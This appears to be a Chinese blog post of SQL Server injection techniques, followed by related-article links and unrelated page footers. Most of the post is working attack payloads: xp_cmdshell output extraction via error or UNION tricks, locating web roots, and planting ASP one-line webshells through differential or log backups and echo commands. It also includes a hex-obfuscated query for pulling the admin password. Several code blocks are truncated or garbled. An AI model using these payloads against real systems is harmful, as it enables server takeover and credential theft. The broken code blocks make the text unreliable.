SQLServer注入技巧
一、对于SA权限的用户执行命令,如何获取更快捷的获取结果?
- 有显示位
- 无显示位
其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。
方法①));
)
SET @result='~'
SELECT @result=@result+' '+output from test_1 where output>' '
SELECT @result AS result INTO test_2;
SELECT convert(int,(select result from test_2));
END;
解析:
- 这里6-9句的意思是申明一个@result的临时变量;
- 设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
- 然后将@result设置一个别名,然后插入test_2中。
- 最后报错回显
PS: - mssql英文字母比较大小不区分大小写
- mssql字符串比较大小和C语言中的str_cmp()一样的道理
方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)
- 报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--
- 显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--
二、如何快速寻找网站目录(SA用户)
- SA用户被降权
- SA用户未被降权
这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。
方法①(被降权:–亲测成功):));
;
方法②(未被降权–system–亲测成功):));
;
方法③(sa+system权限+IIS7.0+IIS7.5):
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径
PS:
%systemroot%代表c:\windows\
三、如何利用注入点getshell方法
①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
backup database XFData to disk = 'D:\WebRoot\asp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT;
方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
alter database XFData set RECOVERY FULL;
create table test_tmp (a image);
backup log XFData to disk = 'D:\WebRoot\asp.bak' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log XFData to disk = 'D:\webroot\123.asp'
PS:
- 如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
- 如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。
方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp
PS:
- 这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。
四、如何避免使用select之类的关键字
方法①:十六进制混淆) )); EXEC (@S);';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--
六、结语
这篇文章是很久以前整理的,有些地方可能有不对之处,希望大家能够指出。另外,大家有什么姿势也说一说,一起总结总结。
这里排版确实不习惯,用习惯了markdown感觉现在有点排版困难症,请不要喷。。。
SQLServer注入技巧的更多相关文章
- SqlServer 注入技巧
一.SA权限执行命令,如何更快捷的获取结果? 有显示位 显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会 ...
- Update、Insert注入技巧
title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...
- False注入,以及SQL注入技巧总结
title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...
- MYSQL_Join注入技巧
Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * ...
- sqlmap注入技巧收集
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- Sqlmap注入技巧收集整理
TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- sqlmap注入技巧
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- MYSQL注入技巧备忘录
MYSQL一些技巧 仅仅是作为自己备忘录,如果错误,敬请斧正. 0)基础饶过 1.大小写绕过 2.双写绕过 3.添加注释 /*!*/ or /*!小于mysql版本*/ 5.宽字节.Latin1默认编 ...
随机推荐
- LYDSY热身赛 escape
Description 给出数字N(1<=N<=10000),X(1<=x<=1000),Y(1<=Y<=1000),代表有N个敌人分布一个X行Y列的矩阵上矩形的行 ...
- Go - 字典(map)
字典是一种内置的数据结构,用来保存 键值对 的 无序集合. (1)字典的创建 1) make(map[KeyType] ValueType, initialCapacity) 2) make(map[ ...
- java 读文件路径问题
文件路径:右键点击src新建Source Folder,创建结果与src目录同级. C:\Users\lenovo\workspace\timedTask\config\userinfo.proper ...
- jq 实现无限级地区联动 样式为bootstrap
HTML 部分 <div class="row" style="margin:100px auto;"> <form method=" ...
- DES & 3DES 加密算法
JAVA坑 跟其他公司java的对接口,一个细节对到吐血,具体: DesUtil.java(别人的反例) //package base_class; import java.io.IOExceptio ...
- canvas案例——画时钟
基本思路,先画一个200半径的圆 ctx.arc(250,250,200,0,2*Math.PI); 然后再画时分刻度,可以先利用translate变化坐标到圆的中心点,然后再通过rotate旋转 / ...
- python os.path
os.path 提供了一些处理文件路径的函数. os.path.abspath(path) 返回绝对路径, 在大多数平台上, os.path.abspath(path) == os.path.norm ...
- WINFORM中的COMBOX模糊查询
有的时候下拉框中的元素过多不好查询,可以考虑进行模糊过滤查询. 在类文件的designer.cs中找到定义combox的模块,加入以下两行代码即可: this.combox.AutoCompleteM ...
- 【Java EE 学习 45】【Hibernate学习第二天】【对象的三种状态】【一对多关系的操作】
一.对象的三种状态. 1.对象有三种状态:持久化状态.临时状态.脱管状态(游离状态) 2.Session的特定方法能使得一个对象从一个状态转换到另外一个状态. 3.三种状态的说明 (1)临时状态:临时 ...
- [BI项目记]-DB脚本同步
BI项目中会有很多不同种类的项目,其中比较比较大的一部分就是对DB脚本的处理.然而DB的脚本毕竟无法在项目中进行维护,所以这里介绍如何对DB的脚本进行版本上的维护. 数据库脚本本身没有项目模板支持,很 ...